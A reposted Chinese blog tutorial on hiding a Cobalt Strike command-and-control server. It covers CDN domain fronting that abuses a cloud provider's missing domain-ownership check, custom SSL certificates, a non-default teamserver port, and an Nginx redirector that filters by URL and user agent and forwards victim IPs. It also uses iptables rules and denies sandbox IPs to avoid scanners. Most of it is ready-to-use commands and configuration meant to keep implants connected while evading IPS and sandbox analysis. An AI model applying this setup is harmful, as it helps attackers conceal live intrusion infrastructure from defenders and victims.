CobaltStrike使用CDN域前置并搭建Nginx前置代理
2023-6-9 13:9:52 Author: 中国白客联盟(查看原文) 阅读量:24 收藏

前言

本文将介绍CobaltStrike配置CDN域前置,并搭建Nginx前置代理来隐藏自身。

CDN域前置介绍

CDN域前置,也就是Domain fronting,简单点讲,就是伪造HOST,让CDN根据HOST转发到你真正的C2上面去,从流量上看,目的都是CDN的IP,这样做到了隐藏C2的目的:

           

配置CDN域前置

因为X云未校验域名归属人,可导致在X云控制台任意添加CDN域名:

然后配置CDN回溯地址:

嘴周使用如下命令测试是否配置成功,这样就会给你转发到你的回溯地址:

curl https://www.cdn.com/ -H "Host: host.com" -vv  -k

其中www.cdn.com为任意配置了X云CDN的域名、IP即可。

CobaltStrike识别绕过

配置CobaltStrike证书+修改默认端口

首先为防止默认SSL证书被ips等设置流量监测到,首先得生成SSL证书并加载:

命令来源:

https://www.codenong.com/cs105286327/

openssl req -newkey rsa:2048 -nodes -out hongshu.csr -keyout hongshu_com.key              
openssl x509 -req -days 365 -in hongshu.csr -signkey hongshu_com.key -out hongshu_com.crt              
openssl pkcs12 -export -in hongshu_com.crt -inkey hongshu_com.key -out hongshu_com.p12              
keytool -importkeystore -v -srckeystore hongshu_com.p12 -srcstoretype pkcs12 -destkeystore hongshu_com.jks -deststoretype jks

上述生成完证书以后,修改teamserver文件加载新的证书和证书密码:

java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=3306 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./your.jks -Djavax.net.ssl.keyStorePassword=yourpassword -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*

当然,上述命令把CobaltStrike的默认监听端口也改成了3306。

stager url绕过

CobaltStrike stager有个固定特征,其url是根据checksum8算法生成的,而CobaltStrike默认开启监听后会启用stager url,因此如果不做相应的配置,会导致CobaltStrike的stager url被外部扫描到,比如我CobaltStrike开启如下监听:

CobaltStrike默认会一起开启stager:

根据算法扫描到stager url,获取stage文件,即可获取CobaltStrike配置信息:

因此使用Nginx前置代理来规避此类风险。

搭建Nginx:

    server {              
        listen       80 default_server;              
        listen       [::]:80 default_server;              
        server_name  yourdomain.com;              
        root         /usr/share/nginx/html;              
             
        # Load configuration files for the default server block.              
        include /etc/nginx/default.d/*.conf;              
             
             
        location ~ ^(/jquery-3.3.1.slim.min.js.*)$ {              
        if ($http_user_agent != "Mozilla/5.0") {              
        return 302 http://domain.com;              
        }              
        proxy_pass          http://127.0.0.1:180;              
        expires             off;              
        proxy_redirect      off;              
        proxy_set_header    Host                $host;              
        proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;              
        proxy_set_header    X-Real-IP           $remote_addr;              
    }              
             
             
        error_page 404 /404.html;              
        location = /404.html {              
        }              
             
        error_page 500 502 503 504 /50x.html;              
        location = /50x.html {              
        }              
    }

上面的Nginx配置作用是监听80、443端口;然后只有符合jquery开头的url才会转发到180和1443端口,180和1443也就是CobaltStrike listen上面配置的的bind端口。

也配置了获取X-Forwarded-For ,目的是把真实上线IP传给CobaltStrike,不然的话,CobaltStrike看到的上线IP也是Nginx服务器,因为是Nginx服务器把符合路由的流量转了过来。

接下来需要配置profile文件,注意几点:

1.把证书和密码加进去,让上线走的是自定义的修改过的ssl证书

2.配置上线的url,即和nginx里面配置的路由一致

3.设置trust_x_forwarded_for,解析x_forwarded_for的值来获取传过来的真实受害者IP。

4.profile文件里不要写死host字段,因为他会替换掉listen里面的host信息,比如笔者走的是cdn域前置,80和443走的是不同的host,如果profile写死了host信息,那所有的流量都会带上这个host头,如果写死www.baidu.com,就会导致笔者非www.baidu.com的cdn域前置就会失效。host写死也行,比如写成www.baidu.com, 这样上线看起来就是看起来是往www.baidu.com请求数据,文章参考地址:Payload多种隐藏方法

5.后来测试发现,域前置的时候,"https host(stager)"里写cdn域名的话,stager、生成的shellcode不会上线成功,因为他直接往cdn请求了,而如果写真实ip的话,会上线成功,那就会暴露真实IP,因此在"https host(stager)"里写接入了cdn的域名,还要在profile里设置http-stager的host为注册的白cdn的域名即可。这个时候就要使用profile中的header "Host"了。

最后得使用iptables,设置180和1443,即CobaltStrike的bind port只允许本地访问,反正这两个端口是从nginx的80和443转发过来的,外面人也确实不需要访问:

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 180 -j ACCEPT              
iptables -A INPUT -p tcp --dport 180 -j DROP              
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 1443 -j ACCEPT              
iptables -A INPUT -p tcp --dport 1443 -j DROP

上面的搞定后,就不会存在cs被人恶意扫导致每次连接服务端都会同步很长时间,因为比如你的CobaltStrike监听了80端口,外面一堆扫描器在天天全网扫,扫描日志太多了,就会导致CobaltStrike的同步也得很长时间,也解决了Stager被扫问题。

拒绝某些IP

为了防止各种扫描和沙箱拉CobaltStrike数据,可以把一些厂商的沙盒IP给ban掉,在Nginx中配置如下信息即可:

#拒绝访问IP            
deny 192.168.66.88;

总结

本文介绍了CobaltStrike使用CDN域前置的技术和针对CobaltStrike被扫描和被发现的一些保护措施。


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NjQxMDcxNA==&mid=2709355028&idx=1&sn=3a8c6996df7833f0b6dfbe3f50a3bb2f&chksm=bb40cea18c3747b76da202aa9610acea036570c75d814c0cc5f499ffa052c67aaefaebcd30c9#rd
如有侵权请联系:admin#unsafe.sh